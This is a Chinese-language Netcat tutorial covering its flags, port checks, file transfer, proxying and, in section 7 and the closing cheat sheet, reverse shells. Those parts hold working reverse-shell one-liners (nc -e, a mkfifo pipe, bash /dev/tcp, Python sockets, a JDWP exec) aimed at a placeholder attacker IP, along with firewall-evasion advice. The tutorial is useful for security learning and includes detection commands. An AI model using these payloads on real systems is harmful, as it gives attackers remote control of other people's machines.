Netcat (nc) 操作指南

1. 什么是 Netcat
Netcat(命令名 nc)是一个基于 TCP/UDP 的网络读写工具,被称为网络工具中的「瑞士军刀」。它可以创建几乎任何类型的网络连接,常用于调试、端口扫描、文件传输、反向连接等场景。
主要变体
| 变体 | 特点 | 常见系统 |
|---|---|---|
GNU Netcat (netcat) |
基础功能,兼容经典行为 | 部分 Linux 发行版 |
OpenBSD Netcat (nc) |
支持 -X 代理、IPv6、Unix socket |
macOS、Ubuntu 默认 |
Ncat (ncat) |
Nmap 项目出品,支持 SSL/代理/访问控制 | 需手动安装 (nmap 附带) |
传统 Netcat (nc.traditional) |
支持 -e 直接绑定程序执行 |
Debian/Kali 可选装 |
查看当前系统安装的版本:
bash
nc -h 2>&1 | head -5
# 或
which nc && nc --version 2>&1 || nc -h 2>&1 | head -3
macOS 自带 OpenBSD 版本的 nc,不支持 -e 参数。
2. 常用参数速查
nc [选项] [目标主机] [端口]
| 参数 | 说明 |
|---|---|
-l |
监听模式(作为服务端) |
-p <port> |
指定本地端口(部分版本 -l 后直接跟端口即可) |
-v |
详细输出(显示连接信息) |
-vv |
更详细的输出 |
-n |
不做 DNS 解析(加快速度) |
-z |
仅扫描,不发送数据(Zero-I/O 模式) |
-w <秒> |
连接/读取超时时间 |
-u |
使用 UDP(默认 TCP) |
-k |
保持监听(客户端断开后继续等待新连接,仅部分版本) |
-e <程序> |
连接后执行指定程序(仅传统版/Ncat 支持,OpenBSD 版不支持) |
-c <命令> |
连接后通过 /bin/sh -c 执行命令(仅 GNU 版) |
-q <秒> |
收到 EOF 后等待指定秒数再退出 |
-N |
发送完 stdin 后关闭网络写入方向(shutdown 半关闭) |
3. 基础用法
3.1 TCP 客户端/服务端通信
最基本的用法------两台机器之间建立 TCP 连接进行文本聊天:
终端 A(服务端 / 监听方):
bash
nc -lvnp 4444
终端 B(客户端 / 连接方):
bash
nc 127.0.0.1 4444
连接建立后,双方输入的文本会实时传送到对方的终端。Ctrl+C 断开连接。
参数解释:
-l:监听模式-v:显示连接状态-n:不进行 DNS 反向解析-p 4444:监听端口 4444(macOS 上-p可省略,直接写端口号)
3.2 UDP 通信
bash
# 服务端
nc -luvnp 5555
# 客户端
nc -u 127.0.0.1 5555
注意:UDP 是无连接协议,即使对端未启动也不会报错。
3.3 连接测试(替代 telnet)
快速检测目标端口是否开放:
bash
# 单端口测试
nc -vz 192.168.1.100 80
# 多端口测试
nc -vz 192.168.1.100 80 443 8080
# 端口范围扫描
nc -vz 192.168.1.100 20-25
# 设置超时(3 秒)
nc -vz -w 3 192.168.1.100 3306
输出示例:
Connection to 192.168.1.100 port 80 [tcp/http] succeeded!
nc: connectx to 192.168.1.100 port 443 (tcp): Connection refused
succeeded! 表示端口开放,Connection refused 表示端口关闭。
3.4 Banner 抓取
连接到服务端口后读取其返回的 Banner 信息,用于识别服务类型和版本:
bash
# HTTP 服务器
echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc -w 3 baidu.com 80
# SSH 服务
nc -w 3 192.168.1.100 22
# 输出示例: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3
# SMTP 服务
nc -w 3 mail.example.com 25
# 输出示例: 220 mail.example.com ESMTP Postfix
# JDWP 服务(与本系列关联)
echo "JDWP-Handshake" | nc -w 3 192.168.1.100 5005
# 如果返回 "JDWP-Handshake",说明是 JDWP 调试端口
4. 文件传输
4.1 发送文件
接收方(先启动):
bash
nc -lvnp 4444 > received_file.tar.gz
发送方:
bash
nc -N 192.168.1.100 4444 < file.tar.gz
-N 参数表示 stdin 读完(文件发送完毕)后发送 TCP FIN,告知接收方传输结束。如果不加 -N,接收方不知道何时文件传输完毕,连接会一直保持。
4.2 发送目录
利用 tar 管道打包传输整个目录:
接收方:
bash
nc -lvnp 4444 | tar xzf -
发送方:
bash
tar czf - /path/to/directory | nc -N 192.168.1.100 4444
4.3 带进度显示的传输
结合 pv(Pipe Viewer)显示传输速度和进度:
bash
# 发送方
pv file.iso | nc -N 192.168.1.100 4444
# 输出示例:
# 1.23GiB 0:02:15 [9.32MiB/s] [=========> ] 45% ETA 0:02:45
4.4 传输校验
在不信任网络环境中,传输后应校验文件完整性:
bash
# 发送方计算 hash
sha256sum file.tar.gz
# 接收方校验
sha256sum received_file.tar.gz
# 对比两个 hash 值是否一致
5. 端口扫描
5.1 TCP 端口扫描
bash
# 扫描常见端口
nc -zvn -w 1 192.168.1.100 21-25 80 443 3306 8080
# 仅显示开放的端口(过滤 succeeded)
nc -zvn -w 1 192.168.1.100 1-1000 2>&1 | grep succeeded
5.2 UDP 端口扫描
bash
nc -zvnu -w 1 192.168.1.100 53 67 68 123 161
注意:UDP 扫描不太可靠,因为无响应既可能是端口开放也可能是被过滤。
5.3 与 nmap 的对比
| 特性 | nc | nmap |
|---|---|---|
| 速度 | 慢(串行逐端口) | 快(并行扫描) |
| 功能 | 基础连通性测试 | 服务识别、OS 探测、脚本引擎 |
| 隐蔽性 | 完整三次握手 | 支持 SYN 半开扫描 |
| 适用场景 | 快速检查少量端口 | 全面网络探测 |
nc 适合快速检查几个已知端口,大规模扫描应该使用 nmap。
6. 代理与转发
6.1 简易 TCP 端口转发
将本机 8080 端口的流量转发到目标的 80 端口(需要 mkfifo):
bash
mkfifo /tmp/nc_pipe
nc -lkp 8080 < /tmp/nc_pipe | nc target_host 80 > /tmp/nc_pipe
原理:
客户端 → nc(监听8080) → 管道 → nc(连接目标80) → 目标
客户端 ← nc(监听8080) ← 管道 ← nc(连接目标80) ← 目标
6.2 HTTP 代理(Ncat)
Ncat 原生支持代理功能:
bash
# 作为 HTTP CONNECT 代理
ncat -lkp 8888 --proxy-type http
# 客户端通过代理访问
curl -x http://127.0.0.1:8888 http://example.com
6.3 通过代理连接
bash
# 通过 HTTP 代理连接目标
ncat --proxy proxy_host:8080 --proxy-type http target_host 443
# 通过 SOCKS5 代理连接目标
ncat --proxy socks_host:1080 --proxy-type socks5 target_host 22
7. 反弹 Shell
声明:以下内容仅用于授权的安全测试和学习环境。未经授权对他人系统使用反弹 Shell 属于违法行为。
7.1 反弹 Shell 原理
┌──────────────┐ ┌──────────────┐
│ 攻击机 │ ← TCP 连接 │ 目标机 │
│ (监听端口) │ stdin/stdout │ (主动连接) │
│ │ ← 键盘输入/命令输出 │ │
│ nc -lvnp │ │ /bin/bash │
│ 4444 │ │ 重定向到 TCP │
└──────────────┘ └──────────────┘
反弹 Shell 的核心思想:目标机主动向攻击机发起 TCP 连接,并将 Shell 的标准输入/输出/错误重定向到这个 TCP 连接上。攻击机只需监听端口等待连接即可。
为什么是「反弹」:传统远程登录是客户端连接服务端(正向),反弹 Shell 是服务端(目标机)主动连接客户端(攻击机),方向相反,因此称为「反弹」(Reverse Shell)。这样做的好处是可以绑定防火墙入站规则------大多数防火墙允许出站连接但限制入站连接。
7.2 攻击机:监听端口
bash
# 基础监听
nc -lvnp 4444
# 使用 Ncat 的增强版(支持 SSL 加密)
ncat --ssl -lvnp 4444
7.3 目标机:反弹 Shell 的多种方式
方式 1:nc -e(传统版 Netcat / Ncat)
bash
# 传统 Netcat(支持 -e)
nc -e /bin/bash 攻击机IP 4444
# Ncat
ncat -e /bin/bash 攻击机IP 4444
# Ncat + SSL 加密
ncat --ssl -e /bin/bash 攻击机IP 4444
-e /bin/bash 表示连接成功后执行 /bin/bash,并将 bash 的 stdin/stdout/stderr 重定向到网络连接。
方式 2:nc 管道法(OpenBSD 版无 -e 时使用)
bash
# 使用命名管道
mkfifo /tmp/f; nc 攻击机IP 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1; rm /tmp/f
数据流向:
nc 从攻击机收到命令
→ 管道传给 /bin/bash 的 stdin
→ bash 执行命令,stdout/stderr 写入 /tmp/f
→ nc 从 /tmp/f 读取并发回攻击机
方式 3:Bash 原生(不依赖 nc)
bash
/bin/bash -i >& /dev/tcp/攻击机IP/4444 0>&1
解析:
| 部分 | 含义 |
|---|---|
/bin/bash -i |
启动交互式 bash |
>& |
重定向 stdout 和 stderr |
/dev/tcp/IP/PORT |
Bash 特有的 TCP 伪设备(不是真实文件) |
0>&1 |
将 stdin 也重定向到同一个 TCP 连接 |
方式 4:Python
bash
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
方式 5:通过 JDWP 注入执行
结合 jdwp_exec.py,可以在开启了 JDWP 调试端口的 JVM 上执行反弹 Shell:
bash
# 攻击机监听
nc -lvnp 4444
# 通过 JDWP 在目标 JVM 上执行反弹 Shell
python3 jdwp_exec.py 目标IP 5005 /bin/bash -c "bash -i >& /dev/tcp/攻击机IP/4444 0>&1"
由于 jdwp_exec.py 使用 Runtime.exec(String[]) 传递参数数组,-c 后面的整个字符串作为一个完整参数传递给 bash,不会被空格拆分。
7.4 升级为完全交互式 Shell
nc 反弹的 Shell 默认是半交互式的------不支持 Tab 补全、上下箭头历史、Ctrl+C 等。需要升级:
步骤 1:在反弹 Shell 中生成 PTY
bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
步骤 2:设置终端(在攻击机上)
bash
# 按 Ctrl+Z 挂起 nc
# 在本地终端执行:
stty raw -echo; fg
步骤 3:设置环境变量(在反弹 Shell 中)
bash
export TERM=xterm-256color
stty rows 50 cols 200
现在你有一个完全交互式的 Shell,支持 Tab 补全、历史记录、Ctrl+C 等。
7.5 使用 rlwrap 增强体验
rlwrap 为不支持行编辑的命令添加 readline 功能(历史、编辑):
bash
# 安装
brew install rlwrap # macOS
apt install rlwrap # Debian/Ubuntu
# 使用 rlwrap 包装 nc 监听
rlwrap nc -lvnp 4444
8. 实用技巧
8.1 简易 HTTP 服务器
用 nc 手工响应 HTTP 请求:
bash
while true; do
echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>Hello</h1>" | nc -lp 8080 -q 1
done
8.2 远程执行命令并返回结果
服务端(执行命令并返回):
bash
nc -lkp 9999 -c 'bash -c "while read cmd; do eval \$cmd 2>&1; done"'
注意:这等同于开了一个无认证的远程 Shell,极其危险,仅限实验环境。
8.3 网络延迟测试
bash
# 服务端(回显收到的数据)
nc -lkp 5555 -c 'cat'
# 客户端(发送数据并计时)
time echo "ping" | nc -w 1 -q 1 192.168.1.100 5555
8.4 配合 JDWP 验证调试端口
结合之前的 JDWP 知识,用 nc 快速验证目标是否开放了 JDWP 调试端口:
bash
# 发送握手字符串并检查响应
echo -n "JDWP-Handshake" | nc -w 3 目标IP 5005
# 自动化检测脚本
for port in 5005 8000 8787 5050; do
result=$(echo -n "JDWP-Handshake" | nc -w 2 目标IP $port 2>/dev/null)
if [ "$result" = "JDWP-Handshake" ]; then
echo "[!] JDWP found on port $port"
fi
done
9. 各版本差异与兼容性
不同系统自带的 nc 版本差异很大,执行前应先确认:
bash
# 检查版本
nc -h 2>&1 | head -3
关键参数兼容性对照
| 参数 | OpenBSD nc (macOS) | GNU nc | Ncat | 传统 nc |
|---|---|---|---|---|
-e |
不支持 | 不支持 | 支持 | 支持 |
-c |
不支持 | 支持 | 支持 | 不支持 |
-k |
支持 | 不支持 | 支持 | 不支持 |
-N |
支持 | 不支持 | 不适用 | 不支持 |
-q |
不支持 | 支持 | 不适用 | 不支持 |
--ssl |
不支持 | 不支持 | 支持 | 不支持 |
-X (代理) |
支持 | 不支持 | 支持 | 不支持 |
macOS 上的注意事项
macOS 自带 OpenBSD 版 nc,有以下特点:
- 不支持
-e:不能直接绑定程序执行,需使用管道法 - 监听语法 :
nc -l 4444(不需要-p),写成nc -lp 4444也可以 -N参数:发送文件时推荐加上,确保传输完成后关闭连接- 安装 Ncat :
brew install nmap后即可使用功能更丰富的ncat
10. 安全注意事项
10.1 nc 传输无加密
nc 的所有通信都是明文的。在不可信网络中:
- 使用
ncat --ssl替代 nc 实现加密传输 - 或通过 SSH 隧道封装:
ssh -L 4444:localhost:4444 user@host
10.2 防火墙绕过
反弹 Shell 之所以有效,是因为:
- 大多数防火墙允许出站 TCP 连接
- 使用常见端口(80、443)可以进一步提高成功率
bash
# 使用 443 端口更容易穿越防火墙
nc -lvnp 443 # 攻击机
nc 攻击机IP 443 -e /bin/bash # 目标机
10.3 检测与防御
作为防御方,应注意:
bash
# 检查是否有异常的 nc 进程
ps aux | grep -E '(nc |ncat |netcat )' | grep -v grep
# 检查异常的网络连接
netstat -antp | grep ESTABLISHED
# 或
ss -tnp | grep ESTAB
# 监控异常的出站连接
lsof -i -P | grep -E 'ESTABLISHED|LISTEN'
11. 速查表
╔══════════════════════════════════════════════════════════════╗
║ nc 常用操作速查 ║
╠══════════════════════════════════════════════════════════════╣
║ ║
║ 监听端口: nc -lvnp 4444 ║
║ 连接端口: nc 目标IP 端口 ║
║ 端口扫描: nc -zvn -w 1 目标IP 端口范围 ║
║ Banner抓取: nc -w 3 目标IP 端口 ║
║ ║
║ 发送文件: nc -N 目标IP 4444 < file ║
║ 接收文件: nc -lvnp 4444 > file ║
║ ║
║ 反弹Shell: ║
║ 攻击机: nc -lvnp 4444 ║
║ 目标机: nc -e /bin/bash 攻击机IP 4444 ║
║ 管道法: mkfifo /tmp/f; nc IP 4444 < /tmp/f ║
║ | /bin/bash > /tmp/f 2>&1; rm /tmp/f ║
║ Bash法: bash -i >& /dev/tcp/IP/4444 0>&1 ║
║ ║
║ JDWP检测: echo -n "JDWP-Handshake" | nc -w3 IP 5005 ║
║ ║
║ 升级Shell: python3 -c 'import pty;pty.spawn("/bin/bash")' ║
║ 然后 Ctrl+Z → stty raw -echo; fg ║
║ ║
╚══════════════════════════════════════════════════════════════╝